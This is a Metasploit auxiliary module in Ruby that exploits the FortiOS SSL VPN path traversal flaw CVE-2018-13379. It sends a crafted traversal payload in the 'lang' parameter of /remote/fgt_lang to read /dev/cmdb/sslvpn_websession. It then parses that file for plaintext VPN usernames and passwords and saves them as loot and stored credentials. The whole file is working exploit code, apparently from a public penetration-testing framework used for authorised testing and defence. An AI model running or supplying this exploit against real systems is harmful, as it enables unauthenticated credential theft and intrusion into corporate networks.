# frozen_string_literal: true

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Auxiliary::Report
  include Msf::Auxiliary::Scanner
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'FortiOS Path Traversal Credential Gatherer',
        'Description' => %q{
          Fortinet FortiOS versions 5.4.6 to 5.4.12, 5.6.3 to 5.6.7 and 6.0.0 to
          6.0.4 are vulnerable to a path traversal vulnerability within the SSL VPN
          web portal which allows unauthenticated attackers to download FortiOS system
          files through specially crafted HTTP requests.

          This module exploits this vulnerability to read the usernames and passwords
          of users currently logged into the FortiOS SSL VPN, which are stored in
          plaintext in the "/dev/cmdb/sslvpn_websession" file on the VPN server.
        },
        'References' => [
          %w[CVE 2018-13379],
          %w[EDB 47287],
          %w[EDB 47288],
          ['URL', 'https://www.fortiguard.com/psirt/FG-IR-18-384'],
          ['URL', 'https://i.blackhat.com/USA-19/Wednesday/us-19-Tsai-Infiltrating-Corporate-Intranet-Like-NSA.pdf'],
          ['URL', 'https://devco.re/blog/2019/08/09/attacking-ssl-vpn-part-2-breaking-the-Fortigate-ssl-vpn/']
        ],
        'Author' => [
          'Meh Chang', # discovery and PoC
          'Orange Tsai', # discovery and PoC
          'lynx (Carlos Vieira)', # initial module author from edb
          'mekhalleh (RAMELLA Sébastien)' # Metasploit module author (Zeop Entreprise)
        ],
        'License' => MSF_LICENSE,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [],
          'SideEffects' => [IOC_IN_LOGS]
        },
        'DefaultOptions' => {
          'RPORT' => 10_443,
          'SSL' => true
        }
      )
    )

    register_options([
      OptEnum.new('DUMP_FORMAT', [true, 'Dump format.', 'raw', %w[raw ascii]]),
      OptBool.new('STORE_CRED', [false, 'Store credential into the database.', true]),
      OptString.new('TARGETURI', [true, 'Base path', '/remote'])
    ])
  end

  def execute_request
    payload = '/../../../..//////////dev/cmdb/sslvpn_websession'

    uri = normalize_uri(target_uri.path, 'fgt_lang')
    begin
      response = send_request_cgi(
        {
          'method' => 'GET',
          'uri' => uri,
          'vars_get' => {
            'lang' => payload
          }
        }
      )
    rescue StandardError => e
      print_error(message(e.message.to_s))
      return nil
    end

    unless response
      print_error(message('No reply.'))
      return nil
    end

    if response.code != 200
      print_error(message('NOT vulnerable!'))
      return nil
    end

    if response.body =~ /var fgt_lang/
      print_good(message('Vulnerable!'))
      report_vuln(
        host: @ip_address,
        name: name,
        refs: references
      )
      return response.body if datastore['STORE_CRED'] == true
    end

    nil
  end

  def message(msg)
    "#{@proto}://#{datastore['RHOST']}:#{datastore['RPORT']} - #{msg}"
  end

  def parse_config(chunk)
    chunk = chunk.split("\x00").reject(&:empty?)

    return if chunk[1].nil? || chunk[2].nil?

    {
      ip: @ip_address,
      port: datastore['RPORT'],
      service_name: @proto,
      user: chunk[1],
      password: chunk[2]
    }
  end

  def report_creds(creds)
    creds.each do |cred|
      cred = cred.gsub('"', '').gsub(/[{}:]/, '').split(', ')
      cred = cred.map do |h|
        h1, h2 = h.split('=>')
        { h1 => h2 }
      end
      cred = cred.reduce(:merge)

      cred = JSON.parse(cred.to_json)

      next unless cred && (!cred['user'].blank? && !cred['password'].blank?)

      service_data = {
        address: cred['ip'],
        port: cred['port'],
        service_name: cred['service_name'],
        protocol: 'tcp',
        workspace_id: myworkspace_id
      }

      credential_data = {
        origin_type: :service,
        module_fullname: fullname,
        username: cred['user'],
        private_data: cred['password'],
        private_type: :password
      }.merge(service_data)

      login_data = {
        core: create_credential(credential_data),
        status: Metasploit::Model::Login::Status::UNTRIED
      }.merge(service_data)

      create_credential_login(login_data)
    end
  end

  def run_host(ip)
    @proto = (ssl ? 'https' : 'http')
    @ip_address = ip

    print_status(message('Trying to connect.'))
    data = execute_request
    if data.nil?
      print_error(message('No data received.'))
      return
    end

    loot_data = case datastore['DUMP_FORMAT']
                when /ascii/
                  data.gsub(/[^[:print:]]/, '.')
                else
                  data
                end
    loot_path = store_loot('', 'text/plain', @ip_address, loot_data, '', '')
    print_good(message("File saved to #{loot_path}"))

    return if data.length < 110

    if data[73] == "\x01"
      separator = data[72..73]
    elsif data[105..109] == "\x00\x00\x00\x00\x01"
      separator = data[104..109]
    end
    data = data.split(separator)

    creds = []
    data.each_with_index do |chunk, index|
      next unless index.positive?

      next if chunk[0] == "\x00" || !chunk[0].ascii_only?

      creds << parse_config(chunk).to_s
    end
    creds = creds.uniq

    return unless creds.length.positive?

    print_good(message("#{creds.length} credential(s) found!"))
    report_creds(creds)
  end

end
